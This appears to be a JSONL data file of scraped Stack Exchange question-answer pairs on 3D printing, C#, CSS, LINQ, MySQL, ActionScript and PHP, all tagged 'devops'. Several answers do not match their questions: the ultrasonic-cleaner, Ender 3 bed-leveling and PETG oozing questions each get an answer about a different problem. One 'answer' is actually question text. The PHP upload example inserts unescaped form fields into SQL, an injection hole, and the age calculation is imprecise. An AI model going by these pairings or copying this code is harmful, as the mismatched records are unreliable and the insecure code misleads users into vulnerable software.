{"id": "hf_b5687286eb1b", "question": "<p>I'm attaching a picture to show my issue. I'm hoping might be an easy settings fix, or at least maybe someone has a couple suggestions I can try. I'm using an Ender 3, and the program Cura. The print on the left was printed with the opening facing up. The print on the right with the hole facing down. The support leaves a rough surface. Any suggestions for support settings would be appreciated. <a href=\"https://i.stack.imgur.com/AnkLP.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AnkLP.jpg\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "There's only so much you can do about this without a multi-material printer that can utilize dissolvable material or material that doesn't bond to the print material, and print the supports at zero distance from the model. So expect it to be ugly. But not quite that ugly.\nSlicers, including Cura, have options to control the Z distance between the support material and your model, among other things. Reducing this will make it harder to remove the supports, but will give a better bottom surface. It only really works on whole-layer granularity in Cura (while some other slicers let you do arbitrary distances), and really should always be equal to one layer. A distance of two or more layers will give really bad results, which might be what you're seeing.\nAlso, Cura has an option called \"support interface\", which you want on. This prints a flat top surface on top of the support, below your print, so that all the lines of the print have something they're resting on. Without this, the bottom surface over the support will sag down between the lines of the support and look very bad - or, if it's a small detail, it might sink entirely between lines of the support and effectively not be supported at all!\nFinally, one hack you can try if you don't have a multi-material printer but want to try printing supports at zero distance from your model: set support Z distance to zero and use a slicer plugin to pause-at-height just past the top surface of the support. Then, when the printer pauses, paint a release agent that won't bond to the print material on top of the support. Reportedly Sharpie permanent markers work as such a release agent, but I haven't tried this, and there are probably better choices.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.505887"}
{"id": "hf_e53035e5599d", "question": "<p>I am trying to create a couple of holders for my ultrasonic cleaners. They are supposed to be used for parts that don't fit in the holder that came with the cleaners. I was wondering what material is best to use for this.</p>\n<p>My initial thoughts are:</p>\n<ul>\n<li>Material should hold up to the cleaning solution, I have a wide range of them from degreaser, deruster, and so on. I would say PETG or PLA should be a safe bet as it reacts with almost nothing</li>\n<li>Material should not have issues with warm (not hot) water, I'd say something along the lines of 60-80 °C. This already eliminates PLA, but I think PETG should still be OK-ish (I am aiming more towards 60 °C than 80 °C).</li>\n</ul>\n<p>Is there something I am missing? Does anyone have any input? I am anyway just going to do a few tests, but I assume starting with PETG is a good start.</p>\n", "question_body": "", "answer": "This is going to be hard. Even holding a vacuum is hard (I've tried it and not succeeded). I'm not sure what the mechanism of air molecules getting thru the print is - whether it's defects in inter-layer bonding, defects at seams, imperfect mating with the fitting, or even permeability of the plastic itself. It might not actually be existing flaws in the print, but rather the high pressure being a stronger force than the bonded layers can withstand, essentially ripping the layers apart from the weakest point until the pressure can discharge through the opening produced.\nIf using ABS, you might try an acetone bath followed by a long period of trying or use of vacuum chamber to quickly remove the solvent, if you can stand some possible part deformation. This would tend to fill any gaps. Coating with low-viscosity CA glue (Loctite 420 or equivalent) might be a better version of this approach, as the solvent will both attack the ABS and deliver fill material.\nIn principle PET (maybe also PETG, but PET is preferable anyway if you can get it) should be a suitable material for pressure vessels, as it's what's used for soda bottles at comparable pressure, but those are blown from a single piece, not fused together with seams.\nAt some point I will attempt this again, and will update my answer if I have any findings that contribute to your question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.547677"}
{"id": "hf_7f5f12e5115e", "question": "<p>It is difficult to describe with words what's happening, so take a look at the picture. Somehow PrusaSlicer decides to move and print in the air (blue line), where instead it can continue going from outwards to inward. I understand it wants to print first the outer layer but in this case it is obvious it will not hold that layer.</p>\n<p>The final position is shown in the second image.</p>\n<p><a href=\"https://i.stack.imgur.com/iB1fc.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iB1fc.jpg\" alt=\"prusa slicer\" /></a></p>\n<p>The final step of that layer:\n<a href=\"https://i.stack.imgur.com/PCetc.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PCetc.jpg\" alt=\"enter image description here\" /></a></p>\n<p>Any idea how to configure PrusaSlicer to avoid this situation?</p>\n", "question_body": "", "answer": "You'll want to turn on supports, which will create a series of low density pillars in the \"floating\" area and provide a foundation for the layer that is printing mid-air in your second image.\nAnother option is to create a hollow support cylinder perhaps a half millimeter larger diameter than the hole in the floating layer. This creates the support for the inner diameter and allows the printer to create bridges.\nThe former method will use more filament and take longer to print but provide a better under-surface than the latter method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.593265"}
{"id": "hf_52b834568164", "question": "<p>I'm struggling to find out an enclosed 3D printer that allow to load the common 1 kg filament bobbins. Most of the enclosed ones accept only proprietary bobbins (like Dremel or Flashforge).</p>\n<p>Do these bobbins ( = 1 kg) rely on a specific standard I can search for?\nHow to filter out the printers that match my request when making a Google search?</p>\n<p>I'm aware I can &quot;easily&quot; put them out of the machine using a custom support (or even directly in a dryer as I do for my Dremel) but this partially nullifies the advantage of the enclosure.</p>\n", "question_body": "", "answer": "QIDI Tech makes a series of enclosed printers, which would narrow your search a bit. I own an X-Max model which has an internal spool spindle as standard equipment, along with an \"ordinary\" external mount. The internal spindle will take a standard one kilogram spool. It's considered good practice when printing moisture sensitive filament such as nylon to have such an environment.\nWith respect to search terms, it's fairly difficult to identify a phrase that would collect the information you require.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.616849"}
{"id": "hf_e39ddf811b24", "question": "<p>I'm new in the 3D priting and I bought a BIQU B1 printer :-)</p>\n<p>I printed the Pokemon with the white filament that come as a sample with the printer (PLA) and after that I bought the Inland PLA+ and PETG+ from Microcenter.\nThe first thing that my son asked me to print is the toaster.\nWell, I tried to print three times with the PETG+ filament and always I end up after one or two layers with oozie everywhere and I had to stop printing.\nI replaced the filament with the PLA+ and now it's printing correctly (It's 91% complete right now :-) )</p>\n<p>So, I set the correct temperator for both filaments:</p>\n<ul>\n<li>PLA+ 205/60</li>\n<li>PETG+ 230/70</li>\n</ul>\n<p>I'm thinking that for this type of object (torture toaster) it doesn't work with PETG because of the complexity.</p>\n<p>Is that correct? If not, what I could be doing wrong with PETG+ filament?</p>\n", "question_body": "", "answer": "You are getting warping. It's unusual in this case, as your overall model is relatively low profile. It's the taller stuff that likes to warp.\nConsider to edit your post to include the layer heights and also the filament type and filament and bed temperatures. My first instinct is that your bed temperature is too low. There's little harm to be had by raising the temperature by ten degrees or so. Also if your slicer arbitrarily reduces the bed temperature after the first layers, disable that feature. There's no sense to set a good adhesion temperature on a print and later reduce it, yet I've seen slicer results that do just that.\nToo cold filament by a substantial amount can also reduce the adhesion in combination with a too low bed temperature.\nIf you still run into adhesion problems, the Elmer's Purple Glue Stick works wonders.\nWith the new information comes new responses:\nFor ABS, 80 °C is on the low end for the bed, but may work. The extruder temp is really low for ABS. I run 250 °C for ABS. Also ensure some form of enclosure, even a cardboard box will help. I've accidentally fed ABS into a PLA profile. The results were surprisingly good, although warping was prevalent and some underextrusion was evident.\nIf you have a glass bed, you will very much want to use glue stick, as a release agent, not as an adhesive. ABS sticks really well to clean glass, well enough that it will pull fragments of glass from the surface!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.663696"}
{"id": "hf_725612e1cd05", "question": "<p>I just purchased this Ender 3 Pro about 1 week ago and since then I've been having nightmares with leveling/tramming the printer bed. From having to tram it again after every print to not being able to level it at all.\nSince then I've been reading and watching a lot of problem-related content to try and find a solution.</p>\n<p>The two most recommended upgrades were a glass bed and stiffer springs for the bed so that's what I bought. I purchased the original Creality glass bed and the yellow springs and for a day or so I got it to work in an acceptable way but I still had to tram the bed every couple of prints.\nToday for some unknown reason, I woke up and I can't seem to get my bed leveled in the middle. I've tried every possible solution that crossed my mind but the middle of the bed is still too far from the nozzle and the filament won't stick.</p>\n", "question_body": "", "answer": "Not exactly the type of answer you probably want, but this hotend does not look servicable. The nozzle is usually considered a consumable part unless it's made of something like tungsten carbide, or at least steel. The nozzle is almost surely long past its useful life unless the printer was barely used, and the entire hotend has lots of design flaws like very small thermal mass and heat sink butting up against the heater block, which defeats the purpose of having a heat sink.\nThe right solution here is to figure out what kind of attachment it's supposed to use (dimensions of that groove mount) and buy or put together a replacement hotend.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.722450"}
{"id": "hf_a1f3ff0faf2b", "question": "<p>In a review for a certain filament I read that somebody recommended &quot;<a href=\"https://www.amazon.de/gp/customer-reviews/RVMUN4CW9ZLKX/ref=cm_cr_arp_d_rvw_ttl?ie=UTF8&amp;ASIN=B01080YND6\" rel=\"nofollow noreferrer\">a feeding rate of 105%</a>&quot;.</p>\n<p>What does he mean, and how could I set this in Cura?</p>\n<p>When I search for &quot;<em>feed</em>&quot; in the print settings properties of Cura, nothing is found, so I suspect he means &quot;<em>speed</em>&quot;.</p>\n<p>When I search for speed, multiple speed settings turn up, not only one.</p>\n<p>How could I do what he recommended?</p>\n<p>Thank you!</p>\n<p><a href=\"https://i.stack.imgur.com/DoQ2L.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DoQ2L.png\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "[Extruder] feed rate [modifier] is used synonymous to extrusion multiplier\nThe feed rate of the extruder is the rate at which filament is pushed (fed) into the hotend. An overwrite value that modifies that rate from the normal rate is in most slicers called \"extrusion multiplier\".\nIt is a\nquickfix\nto manipulate print behavior, especially addressing under extrusion due to various problems, such as mis-sized filament or to compensate for deformability of it compared to the filament the extruder is calibrated for.\nIt is however not a permanent fix. See also\nhere\n,\nhere\nand\nhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.746088"}
{"id": "hf_b92c3802667b", "question": "<p>I am new to 3D printing. I have a Longer LK5 Pro. I was making a part that has raised letters, and wanted to have white letters on the black part. I used a Post Processing script on the Cura program called &quot;change filament&quot;, which is supposed to stop printing, retract the head, and allow you to change the filament. Mine just keeps on printing. I've tried &quot;pause&quot; and done the filament change, but unsuccessfully so far because of blobs deposited on the letters.</p>\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "I've done it a few ways depending on the desired effect I'm after.\nManually pausing the machine is what seems to come out best. If you design for it, you can sometimes have it pause while it's over infill and therefore has no blobs to worry about. I haven't looked into doing it automatically, but perhaps it's possible to pause partway through a layer.\nIf the design doesn't have to be flat, then I'll do a solid colour and the last top layers another colour with the design cut out. This is to my mind optimal as you get a bit of texture with the design inset as well as different colour and makes for a nice clean method.\nThe other way was z-hopping which is an idea I got from a Youtube video. Cura has a setting for this. Basically you can make the nozzle lift when it moves. You split the colours into two separate objects and you print in one colour. Then you change filament and print another colour as a separate print right over the top of it and the nozzle hops over the original print.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.780389"}
{"id": "hf_e48bcda070e8", "question": "<p>Can someone shed some light in why FDM (Fuse Deposition Modelling) is not possible with metals?</p>\n<p>Has anyone attempted any experiments with it?</p>\n", "question_body": "", "answer": "For many metals you would need to run the hotend around 1000 °C.  Aluminum melts at a lower temperature but needs to be in an inert atmosphere, such as argon.  Solder melts at the right temperature, but tends to stick to most metal nozzles.  It would start dissolving a brass nozzle thus enlarging the nozzle opening.  Lockheed has a titanium alloy printer that melts powder with a laser.  I would assume they need an inert atmosphere since titanium reacts with nitrogen as well as oxygen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.863720"}
{"id": "hf_53e4337962cb", "question": "<p>This is a follow up question for <a href=\"https://3dprinting.stackexchange.com/q/20196/20803\">What are viable substitutes for Raspberry Pi to run Octoprint or similar software for Prusa i3 MK3S+?</a></p>\n<p>I was able to grab Raspberry Pi 400 for around $70, so <a href=\"https://www.raspberrypi.com/news/raspberry-pi-400-the-70-desktop-pc/\" rel=\"nofollow noreferrer\">at MSRP</a>, and about half of the current pi 4b prices nowadays. Good deal given shortages, so I ordered it when it was available, and only now I started to think if I can really use it.</p>\n<p>Thus, are there any special challenges to using Raspberry Pi 400 as OctoPrint server, and does it have any benefits over regular Pi 4B? Is there any ready-made manual about it I could use?</p>\n", "question_body": "", "answer": "The recommended hardware for OctoPi is\nlisted\nas:\nRecommended hardware: Raspberry Pi 3B, 3B+, 4B or Zero 2. Expect print artifacts and long loading times with other options, especially when adding a webcam or installing third-party plugins.\nNow if we compare the specification of the two Pi units:\nRaspberry Pi\nProcessor\nRAM\n400\nBCM2711 quad-core Cortex-A72 @ 1.8GHz\n4GB LPDDR4-3200\n4B\nBCM2711 quad-core Cortex-A72 @ 1.5GHz\n1GB, 2GB, 4GB, 8GB LPDDR4-3200\nSo they are very close in capabilities. The 4B has a slightly slower processor but does have the ability to have more RAM. The 400 does come with a keyboard but its feasibility would depend on your usage (probably not much for OctoPi).\nGiven the slight disparity in specs, the Raspberry Pi 400 should work fine for OctoPi.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.992023"}
{"id": "hf_30fe40d1cac7", "question": "<p>I want to assign the decimal variable &quot;trans&quot; to the double variable &quot;this.Opacity&quot;.</p>\n<pre class=\"lang-cs prettyprint-override\"><code>decimal trans = trackBar1.Value / 5000;\nthis.Opacity = trans;\n</code></pre>\n<p>When I build the app it gives the following error:</p>\n<blockquote>\n<p>Cannot implicitly convert type decimal to double</p>\n</blockquote>\n", "question_body": "", "answer": "An explicit cast to\n```\ndouble\n```\nlike this isn't necessary:\n```\n```\ndouble trans = (double) trackBar1.Value / 5000.0;\n```\n```\nIdentifying the constant as\n```\n5000.0\n```\n(or as\n```\n5000d\n```\n) is sufficient:\n```\n```\ndouble trans = trackBar1.Value / 5000.0;\ndouble trans = trackBar1.Value / 5000d;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:21.876509"}
{"id": "hf_6bdce86cada9", "question": "<p>I have an absolutely positioned <code>div</code> containing several children, one of which is a relatively positioned <code>div</code>. When I use a <code>percentage-based width</code> on the child <code>div</code>, it collapses to <code>0 width</code> on IE7, but not on Firefox or Safari.</p>\n<p>If I use <code>pixel width</code>, it works. If the parent is relatively positioned, the percentage width on the child works.</p>\n<ol>\n<li>Is there something I'm missing here?</li>\n<li>Is there an easy fix for this besides the <code>pixel-based width</code> on the child?</li>\n<li>Is there an area of the CSS specification that covers this?</li>\n</ol>\n", "question_body": "", "answer": "The parent\n```\ndiv\n```\nneeds to have a defined\n```\nwidth\n```\n, either in pixels or as a percentage. In Internet Explorer 7, the parent\n```\ndiv\n```\nneeds a defined\n```\nwidth\n```\nfor child percentage\n```\ndiv\n```\ns to work correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:21.911529"}
{"id": "hf_ee079642aaa1", "question": "<p>Given a <code>DateTime</code> representing a person's birthday, how do I calculate their age in years?</p>\n", "question_body": "", "answer": "The best way that I know of because of leap years and everything is:\n```\n```\nDateTime birthDate = new DateTime(2000,3,1);\nint age = (int)Math.Floor((DateTime.Now - birthDate).TotalDays / 365.25D);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:21.937297"}
{"id": "hf_741b01eb45dc", "question": "<p>Given a specific <code>DateTime</code> value, how do I display relative time, like:</p>\n<ul>\n<li><code>2 hours ago</code></li>\n<li><code>3 days ago</code></li>\n<li><code>a month ago</code></li>\n</ul>\n", "question_body": "", "answer": "Here's how I do it\n```\n```\nvar ts = new TimeSpan(DateTime.UtcNow.Ticks - dt.Ticks);\ndouble delta = Math.Abs(ts.TotalSeconds);\n\nif (delta < 60)\n{\n  return ts.Seconds == 1 ? \"one second ago\" : ts.Seconds + \" seconds ago\";\n}\nif (delta < 60 * 2)\n{\n  return \"a minute ago\";\n}\nif (delta < 45 * 60)\n{\n  return ts.Minutes + \" minutes ago\";\n}\nif (delta < 90 * 60)\n{\n  return \"an hour ago\";\n}\nif (delta < 24 * 60 * 60)\n{\n  return ts.Hours + \" hours ago\";\n}\nif (delta < 48 * 60 * 60)\n{\n  return \"yesterday\";\n}\nif (delta < 30 * 24 * 60 * 60)\n{\n  return ts.Days + \" days ago\";\n}\nif (delta < 12 * 30 * 24 * 60 * 60)\n{\n  int months = Convert.ToInt32(Math.Floor((double)ts.Days / 30));\n  return months <= 1 ? \"one month ago\" : months + \" months ago\";\n}\nint years = Convert.ToInt32(Math.Floor((double)ts.Days / 365));\nreturn years <= 1 ? \"one year ago\" : years + \" years ago\";\n```\n```\nSuggestions? Comments? Ways to improve this algorithm?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:21.958824"}
{"id": "hf_5e6357003f63", "question": "<p>What is the difference between <a href=\"http://msdn.microsoft.com/en-us/library/9a6a2sxy.aspx\" rel=\"noreferrer\"><code>Math.Floor()</code></a> and <a href=\"http://msdn.microsoft.com/en-us/library/system.math.truncate.aspx\" rel=\"noreferrer\"><code>Math.Truncate()</code></a> in .NET?</p>\n", "question_body": "", "answer": "```\nMath.Floor\n```\nrounds down,\n```\nMath.Ceiling\n```\nrounds up, and\n```\nMath.Truncate\n```\nrounds towards zero. Thus,\n```\nMath.Truncate\n```\nis like\n```\nMath.Floor\n```\nfor positive numbers, and like\n```\nMath.Ceiling\n```\nfor negative numbers. Here's the\nreference\n.\nFor completeness,\n```\nMath.Round\n```\nrounds to the nearest integer. If the number is exactly midway between two integers, then it rounds towards the even one.\nReference.\nSee also:\nPax Diablo's answer\n. Highly recommended!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:21.994258"}
{"id": "hf_74fa28970c45", "question": "<p>How do I store binary data in <a href=\"http://en.wikipedia.org/wiki/MySQL\" rel=\"noreferrer\">MySQL</a>?</p>\n", "question_body": "", "answer": "For a table like this:\n```\n```\nCREATE TABLE binary_data (\n    id INT(4) NOT NULL AUTO_INCREMENT PRIMARY KEY,\n    description CHAR(50),\n    bin_data LONGBLOB,\n    filename CHAR(50),\n    filesize CHAR(50),\n    filetype CHAR(50)\n);\n```\n```\nHere is a PHP example:\n```\n```\n<?php\n    // store.php3 - by Florian Dittmer <dittmer@gmx.net>\n    // Example php script to demonstrate the storing of binary files into\n    // an sql database. More information can be found at http://www.phpbuilder.com/\n?>\n\n<html>\n    <head><title>Store binary data into SQL Database</title></head>\n\n    <body>\n        <?php\n            // Code that will be executed if the form has been submitted:\n\n            if ($submit) {\n                // Connect to the database (you may have to adjust\n                // the hostname, username or password).\n\n                mysql_connect(\"localhost\", \"root\", \"password\");\n                mysql_select_db(\"binary_data\");\n\n                $data = mysql_real_escape_string(fread(fopen($form_data, \"r\"), filesize($form_data)));\n\n                $result = mysql_query(\"INSERT INTO binary_data (description, bin_data, filename, filesize, filetype) \".\n                                    \"VALUES ('$form_description', '$data', '$form_data_name', '$form_data_size', '$form_data_type')\");\n\n                $id= mysql_insert_id();\n                print \"<p>This file has the following Database ID: <b>$id</b>\";\n\n                mysql_close();\n            } else {\n\n                // else show the form to submit new data:\n        ?>\n        <form method=\"post\" action=\"<?php echo $PHP_SELF; ?>\" enctype=\"multipart/form-data\">\n            File Description:<br>\n            <input type=\"text\" name=\"form_description\"  size=\"40\">\n            <input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"1000000\">\n            <br>File to upload/store in database:<br>\n            <input type=\"file\" name=\"form_data\"  size=\"40\">\n            <p><input type=\"submit\" name=\"submit\" value=\"submit\">\n        </form>\n\n        <?php\n            }\n        ?>\n    </body>\n</html>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.034147"}
{"id": "hf_7bf0b4f391eb", "question": "<p>If I have a trigger before the update on a table, how can I throw an error that prevents the update on that table?</p>\n", "question_body": "", "answer": "Here is one hack\nthat may work. It isn't clean, but it looks like it might work:\nEssentially, you just try to update a column that doesn't exist.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.086497"}
{"id": "hf_e2a0319725c0", "question": "<p>How do I forcefully unload a <code>ByteArray</code> from memory using ActionScript 3?</p>\n\n<p>I have tried the following:</p>\n\n<pre><code>// First non-working solution\nbyteArray.length = 0;\nbyteArray = new ByteArray();\n\n// Second non-working solution\nfor ( var i:int=0; i &lt; byteArray.length; i++ ) {\n    byteArray[i] = null;\n}\n</code></pre>\n", "question_body": "", "answer": "Have a look at this article\nhttp://www.gskinner.com/blog/archives/2006/06/as3_resource_ma.html\nIANA actionscript programmer, however the feeling I'm getting is that, because the garbage collector might not run when you want it to.\nHence\nhttp://www.craftymind.com/2008/04/09/kick-starting-the-garbage-collector-in-actionscript-3-with-air/\nSo I'd recommend trying out their collection code and see if it helps\n```\n```\nprivate var gcCount:int;\nprivate function startGCCycle():void{\n    gcCount = 0;\n    addEventListener(Event.ENTER_FRAME, doGC);\n}\nprivate function doGC(evt:Event):void{\n    flash.system.System.gc();\n    if(++gcCount > 1){\n        removeEventListener(Event.ENTER_FRAME, doGC);\n        setTimeout(lastGC, 40);\n    }\n}\nprivate function lastGC():void{\n    flash.system.System.gc();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.120179"}
{"id": "hf_c6a9efb5682c", "question": "<p>I am aware that in <a href=\"http://en.wikipedia.org/wiki/.NET_Framework\" rel=\"noreferrer\">.NET</a> there are three timer types (see <em><a href=\"http://msdn.microsoft.com/en-us/magazine/cc164015.aspx\" rel=\"noreferrer\">Comparing the Timer Classes in the .NET Framework Class Library</a></em>). I have chosen a threaded timer as the other types can drift if the main thread is busy, and I need this to be reliable.</p>\n\n<p>The way this timer works in the control of the timer is put on another thread so it can always tick along with the work begin completed on the parent thread when it is not busy.</p>\n\n<p>The issue with this timer in a console application is that while the timer is ticking along on another thread the main thread is not doing anything to the application closes.</p>\n\n<p>I tried adding a <code>while true</code> loop, but then the main thread is too busy when the timer does go off.</p>\n", "question_body": "", "answer": "Consider using a\nManualResetEvent\nto block the main thread at the end of its processing, and call\n```\nReset()\n```\non it once the timer's processing has finished.  If this is something that needs to run continuously, consider moving this into a service process instead of a console app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.155581"}
{"id": "hf_79e76a6bde6b", "question": "<p>I am starting a new web application in PHP and this time around I want to create something that people can extend by using a plugin interface. </p>\n\n<p>How does one go about writing 'hooks' into their code so that plugins can attach to specific events?</p>\n", "question_body": "", "answer": "I believe the easiest way would be to follow Jeff's own advice and have a look around the existing code. Try looking at WordPress, Drupal, Joomla, and other well-known PHP-based CMS to see how their API hooks look and feel. This way you can even get ideas you may have not thought of previously to make things a little more robust.\nA more direct answer would be to write general files that they would \"include_once\" into their file that would provide the usability they would need. This would be broken up into categories and NOT provided in one MASSIVE \"hooks.php\" file. Be careful though, because what ends up happening is that files that they include end up having more and more dependencies and functionality improves. Try to keep API dependencies low. I.E fewer files for them to include.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.183039"}
{"id": "hf_8772b48a0284", "question": "<p>I have a <code>DataTable</code> with a <code>Name</code> column. I want to generate a collection of the unique names ordered alphabetically. The following query ignores the <em>order by</em> clause.</p>\n\n<pre><code>var names =\n    (from DataRow dr in dataTable.Rows\n    orderby (string)dr[\"Name\"]\n    select (string)dr[\"Name\"]).Distinct();\n</code></pre>\n\n<p>Why does the <code>orderby</code> not get enforced?</p>\n", "question_body": "", "answer": "The problem is that the Distinct\n operator does not grant that it will\n maintain the original order of\n values.\nSo your query will need to work like this\n```\n```\nvar names = (from DataRow dr in dataTable.Rows\n             select (string)dr[\"Name\"]).Distinct().OrderBy( name => name );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.218332"}
{"id": "hf_68fcd49937dc", "question": "<p>How do you page through a collection in LINQ given that you have a <code>startIndex</code> and a <code>count</code>?</p>\n", "question_body": "", "answer": "It is very simple with the\n```\nSkip\n```\nand\n```\nTake\n```\nextension methods.\n```\n```\nvar query = from i in ideas\n            select i;\n\nvar paggedCollection = query.Skip(startIndex).Take(count);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.245750"}
{"id": "hf_f37b188b1171", "question": "<p>I want to format my existing comments as 'RDoc comments' so they can be viewed using <code>ri</code>.</p>\n\n<p>What are some recommended resources for starting out using RDoc?</p>\n", "question_body": "", "answer": "RDoc uses SimpleMarkup so it's fairly simple to create lists, etc. using *, - or a number. It also treats lines that are indented at the same column number as part of the same paragraph until there is an empty line which signifies a new paragraph. Do you have a few examples of comments you want RDoc'ed so we could show you how to do them and then you could extrapolate that for the rest of your comments?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.270185"}
{"id": "hf_de4c754aa7ee", "question": "<p>What are the best practices around creating flat file database structures in PHP?</p>\n\n<p>A lot of more matured PHP flat file frameworks out there which I attempt to implement SQL-like query syntax which is over the top for my purposes in most cases. (I would just use a database at that point).</p>\n\n<p>Are there any elegant tricks out there to get good performance and features with a small code overhead?</p>\n", "question_body": "", "answer": "One framework I'm considering would be for a blogging platform. Since just about any possible view of data you would want would be sorted by date, I was thinking about this structure:\nOne directory per content node:\n```\n```\n./content/YYYYMMDDHHMMSS/\n```\n```\nSubdirectories of each node including\n```\n```\n/tags  \n/authors  \n/comments\n```\n```\nAs well as simple text files in the node directory for pre- and post-rendered content and the like.\nThis would allow a simple PHP\n```\nglob()\n```\ncall (and probably a reversal of the result array) to query on just about anything within the content structure:\n```\n```\nglob(\"content/*/tags/funny\");\n```\n```\nWould return paths including all articles tagged \"funny\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:22.317348"}
